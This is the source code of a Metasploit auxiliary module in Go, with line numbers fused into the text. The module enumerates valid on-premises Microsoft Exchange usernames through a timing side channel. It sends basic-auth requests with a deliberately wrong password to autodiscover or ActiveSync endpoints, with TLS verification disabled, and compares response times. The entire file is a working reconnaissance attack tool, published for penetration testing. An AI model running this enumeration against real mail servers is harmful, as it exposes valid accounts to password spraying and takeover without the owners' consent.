Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/msmail/onprem_enum.go
Views: 11784
//usr/bin/env go run "$0" "$@"; exit "$?"12package main34import (5"crypto/tls"6"metasploit/module"7"msmail"8"net/http"9"sort"10"strconv"11"sync"12"time"13)1415func main() {16metadata := &module.Metadata{17Name: "On premise user enumeration",18Description: "On premise enumeration of valid exchange users",19Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},20Date: "2018-11-06",21Type: "single_scanner",22Privileged: false,23References: []module.Reference{},24Options: map[string]module.Option{25"USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},26"USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},27}}2829module.Init(metadata, run_onprem_enum)30}3132func run_onprem_enum(params map[string]interface{}) {33userFile := params["USER_FILE"].(string)34userName := params["USERNAME"].(string)35host := params["rhost"].(string)36threads, e := strconv.Atoi(params["THREADS"].(string))37if e != nil {38module.LogError("Unable to parse 'Threads' value using default (5)")39threads = 540}4142if threads > 100 {43module.LogInfo("Threads value too large, setting max(100)")44threads = 10045}4647if userFile == "" && userName == "" {48module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")49return50}5152var validUsers []string53avgResponse := basicAuthAvgTime(host)54if userFile != "" {55validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)56} else {57validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)58}5960msmail.ReportValidUsers(host, validUsers)61}6263func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {64limit := threads65var wg sync.WaitGroup66queue := make(chan string)6768/*Keep in mind you, nothing has been added to handle successful auths69so the password for auth attempts has been hardcoded to something70that is not likely to be correct.71*/72pass := "Summer2018978"73internaldomain := msmail.HarvestInternalDomain(host, false)74url1 := "https://" + host + "/autodiscover/autodiscover.xml"75url2 := "https://" + host + "/Microsoft-Server-ActiveSync"76url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"77var urlToHarvest string78if msmail.WebRequestCodeResponse(url1) == 401 {79urlToHarvest = url180} else if msmail.WebRequestCodeResponse(url2) == 401 {81urlToHarvest = url282} else if msmail.WebRequestCodeResponse(url3) == 401 {83urlToHarvest = url384} else {85module.LogInfo("Unable to resolve host provided to determine valid users.")86return []string{}87}88var validusers []string89tr := &http.Transport{90TLSClientConfig: &tls.Config{InsecureSkipVerify: true},91}92for i := 0; i < limit; i++ {93wg.Add(1)94go func(i int) {95defer wg.Done()96for user := range queue {97startTime := time.Now()98msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)99elapsedTime := time.Since(startTime)100101if float64(elapsedTime) < float64(avgResponse)*0.77 {102module.LogGood(user + " - " + elapsedTime.String())103validusers = append(validusers, user)104} else {105module.LogError(user + " - " + elapsedTime.String())106}107}108}(i)109}110111for i := 0; i < len(userlist); i++ {112queue <- userlist[i]113}114115close(queue)116wg.Wait()117return validusers118}119120func basicAuthAvgTime(host string) time.Duration {121internaldomain := msmail.HarvestInternalDomain(host, false)122url1 := "https://" + host + "/autodiscover/autodiscover.xml"123url2 := "https://" + host + "/Microsoft-Server-ActiveSync"124url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"125var urlToHarvest string126if msmail.WebRequestCodeResponse(url1) == 401 {127urlToHarvest = url1128} else if msmail.WebRequestCodeResponse(url2) == 401 {129urlToHarvest = url2130} else if msmail.WebRequestCodeResponse(url3) == 401 {131urlToHarvest = url3132} else {133module.LogInfo("Unable to resolve host provided to determine valid users.")134return -1135}136137//We are determining sample auth response time for invalid users, the password used is irrelevant.138pass := "Summer201823904"139tr := &http.Transport{140TLSClientConfig: &tls.Config{InsecureSkipVerify: true},141}142module.LogInfo("Collecting sample auth times...")143144var sliceOfTimes []float64145var medianTime float64146147usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}148for i := 0; i < len(usernamelist)-1; i++ {149startTime := time.Now()150msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)151elapsedTime := time.Since(startTime)152if elapsedTime > time.Second*15 {153module.LogInfo("Response taking longer than 15 seconds, setting time:")154module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())155return time.Duration(elapsedTime)156}157if i != 0 {158module.LogInfo(elapsedTime.String())159sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))160}161}162sort.Float64s(sliceOfTimes)163if len(sliceOfTimes)%2 == 0 {164positionOne := len(sliceOfTimes)/2 - 1165positionTwo := len(sliceOfTimes) / 2166medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2167} else if len(sliceOfTimes)%2 != 0 {168position := len(sliceOfTimes)/2 - 1169medianTime = sliceOfTimes[position]170} else {171module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")172}173module.LogInfo("Avg Response: " + time.Duration(medianTime).String())174return time.Duration(medianTime)175}176177178179180